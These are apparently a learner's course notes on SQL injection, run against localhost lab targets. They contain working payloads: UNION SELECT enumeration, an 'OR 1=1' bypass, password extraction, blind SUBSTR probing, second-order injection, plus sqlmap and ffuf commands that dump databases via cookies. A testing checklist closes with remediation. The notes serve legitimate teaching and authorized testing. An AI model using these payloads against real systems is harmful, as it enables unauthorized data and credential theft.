SQL Injection

Basic SQL query:

select * from users;
select * from users where username = "jeremy";

Union Select

select * from users where username = "jeremy" union select password from users;

What is UNION? UNION SELECT statements allow you to combine the result of two or more SELECT queries into a single result set. For a UNION to work, the database enforces two strict rules:

  • The same number of columns
  • Compatible data types. (if column1 is INT, the DB then only accepts INTs)

How to exploit:

First, understand what the website is actually doing in the backend before actually trying to break something. What did the developers have in mind for each functionality? Second, try if you can break the application. Just append a ' or " after the normal query to see if it breaks. Third, we need to understand or assume what the query is doing. Furthermore, we need to play around to determine the SQL stack - MySQL, PostgreSQL? Based on a cheatsheet from Portswigger, we can determine the right database.

jeremy'
The query: SELECT * FROM users WHERE username = '{username}'

The basic SQL Injection query:

jeremy' OR 1=1 #
# dumps all rows

1=1 is a statement which always equals TRUE, meaning every row gets returned. In SQL, if just one side is TRUE, the whole OR condition is TRUE. So we are doing this:

SELECT * FROM users WHERE username = '' OR 1=1; --' AND password = '...';

Row 1 (Admin): Is the username blank? FALSE. OR Is 1 equal to 1? TRUE.

  • FALSE OR TRUE = TRUE Row dumped

Note: # is the MySQL comment terminator. -- - (dash dash space dash) also works and is common in other databases. Everything after it is ignored by the SQL engine.

How to use UNION SELECT to extract data

Since a UNION SELECT needs to first have the same number of columns and second be the same data type, we should do a normal query to see how it works. Here is a trick to identify the number of columns returned:

jeremy' union select null # -> no result = not right amount of columns
jeremy' union select null, null # -> no result = not right amount of columns
jeremy' union select null, null, null # -> result normally = right amount of columns

We may also play around with it to determine what datatype each column is. So we can try null (int-safe), 1, 'name', whatever.

We can now replace null with whatever we like, as long as it is a compatible variable type. So we should “brute force” each column position. Replace it with different functions:

  • version() to dump the version of the DB
  • table_name from information_schema.tables all tables from DB
  • column_name from information_schema.columns all columns from DB

How to select what we want? (Select Jeremy’s password) Since we dumped the table & column names above:

jeremy' union select null,null,password from TABLE_NAME # 

Portswigger cheat sheet: https://portswigger.net/web-security/sql-injection/cheat-sheet

Using Burp Suite + sqlmap

Always think about what you are supplying to the website. For instance, if you send credentials and then receive a session cookie - that cookie is what authenticates you, not the credentials. There are three steps: Send creds Get cookie Authenticate using cookie. An SQLi might not always be at the login form, but also at the cookie level. You can detect this by following closely what Burp Suite is doing with your requests. If you send credentials and it redirects to another request before giving you the “Welcome” page, try injecting into that second request too. In the course example, the session cookie itself was injectable.

You can also detect injection by comparing content lengths. Send a valid payload and note the length. Then send AND 1=1 -- (true) vs AND 1=2 -- (false) - if the response length changes between true and false, you have blind SQL injection.

Manual with Burp

  1. Enable Burp Suite intercept and submit a request that sends credentials - observe the parameters and headers.
  2. Identify the parameters sent (username=)
  3. Change the parameter: (username=jeremy’ OR 1=1 #)
  4. URL-encode it using CTRL+U
  5. Send it, review the response length, code, words, etc. for anomalies

Automatic using request file

  1. Enable Burp Suite intercept and submit a request that loads a file - observe the parameters and headers.
  2. Save the request: right-click Copy to file e.g. sql0x01.req run sqlmap:
sqlmap -r sql0x01.req -batch --dbs

Automatic using URL:

  1. Identify the potentially vulnerable URL
  2. Get the cookie if needed: Enable Burp Suite intercept and submit a request (refresh page) Observe the cookies (starting with “Cookie:”)
  3. Run sqlmap
sqlmap -u http://localhost:5000/products/filter?category=Networking --batch  --level 5 --risk 3 --cookie="session=" 
  1. Tweak the query, add different techniques to make it work
sqlmap -u http://localhost:5000/products/filter?category=Networking --batch  --level 5 --risk 3 --cookie="session=XXX" --technique X

B │ Boolean blind │ Slow │ Yes/no questions based on page content changing
T │ Time blind │ Slowest │ No page difference at all. Uses SLEEP(5) to detect true/false by response time U │ UNION │ Fast │ Dumps data directly in the page output E │ Error-based │ Fast │ Triggers database errors that contain the data you want S │ Stacked queries │ Varies │ Adds a whole second SQL statement with ;. Can INSERT, UPDATE, DELETE Q │ Inline queries │ Rare │ Subquery inside the original query

Testing cookies with sqlmap

For cookie injection, sqlmap needs at least --level 2 to test cookie parameters. Use -p session to tell it which parameter to focus on:

sqlmap -u "http://localhost/labs/i0x02.php" --cookie="session=6967cabefd763ac1a1a88e11159957db" -p session --batch --dbs

To dump a specific table once you know the name:

sqlmap ... --dump -T injection_0x02

Blind SQL Injection

To do blind SQLi, we need to understand substrings (SUBSTR). Syntax: SUBSTR(string, start, length) Example:

substring('albania', 3, 1) = n -> True
substring('albania', 1, 1) = n -> False (should be a)
substring('albania', 1, 3) = alb -> True
substring('albania', 2, 3) = lba -> True

But we do not want to compare static strings - we want to compare values pulled from the database:

substring((select version()), 1, 1) = '9' -> based on the result, we will know if it is true or false.

How do we know? By the response size (content length) - true gives a different length than false.

Note: MySQL string comparisons are case-insensitive by default. So = 'z' and = 'Z' may both return true for the same character. Keep this in mind when doing blind extraction manually.

This is really long and manual, so I would use automated tools like sqlmap or ffuf. ffuf: I used this to determine the version:

Cookie: session=X' and substring((select version()), 1, 1) = 'FUZZ'#

run it:

ffuf -request SQLI02.req --request-proto http -w 1-9.num

Check for anomalous response length

Second Order Injection

If we look at Second Order Injection, it is a bit more complex. Instead of a usual SQLi where we inject and it fires immediately, there are two steps:

Step 1 - Store: Register a user account with a username like admin'-- The registration uses parameterized queries, so it gets saved safely in the database. No injection happens yet.

Step 2 - Trigger: Later, you log in and visit your profile. The query in the backend might look like this:

SELECT * FROM users WHERE username = 'admin'-- '

It pulled the “sanitized” username from the database and put it directly into a new query. Now the injection fires. The comment comments out the rest, and you can access admin’s data on your profile page.

This needs out-of-the-box thinking. So any time you register something, think “when does this get used again?“. This is essentially the same concept as Stored XSS. sqlmap also has a second-order flag (--second-url) if you want to automate this.

Testing Checklist

  • Identify all user input points - URL parameters, POST body fields, cookies, headers - and understand what each one does before testing
  • Test for error-based detection by appending ' and " to input values and observing if the application returns an error or behaves differently
  • Test boolean-based detection by comparing responses for OR 1=1 (true) vs OR 1=2 (false) - check for differences in content length, page content, or status codes
  • Determine the database type using Portswigger’s SQL injection cheat sheet - test comment terminators (# for MySQL, -- - for others) and version functions
  • Enumerate the number of columns with UNION SELECT NULL, NULL, ... incrementally until the query succeeds
  • Extract database metadata using UNION SELECT table_name FROM information_schema.tables and column_name FROM information_schema.columns
  • Test for blind SQLi on cookies and session tokens - remember sqlmap needs --level 2 to test cookie parameters
  • For blind SQLi, use SUBSTR() with true/false comparisons and observe response differences (content length, page behavior, time delays with SLEEP())
  • Test for second-order injection - register accounts or save data with SQL payloads, then check if injection fires when that data is retrieved and used in a new query
  • Run sqlmap with a saved Burp request file (sqlmap -r request.req --batch --dbs) and try different techniques (--technique BTUESQ)
  • Try all relevant injection points - not just the obvious ones. Follow redirects in Burp and check if intermediate requests (e.g., cookie-setting requests) are also injectable
  • Include in report: injection point, database type/version, data extracted (table names, credentials), sqlmap command used, CVSS score, and remediation (parameterized queries, input validation)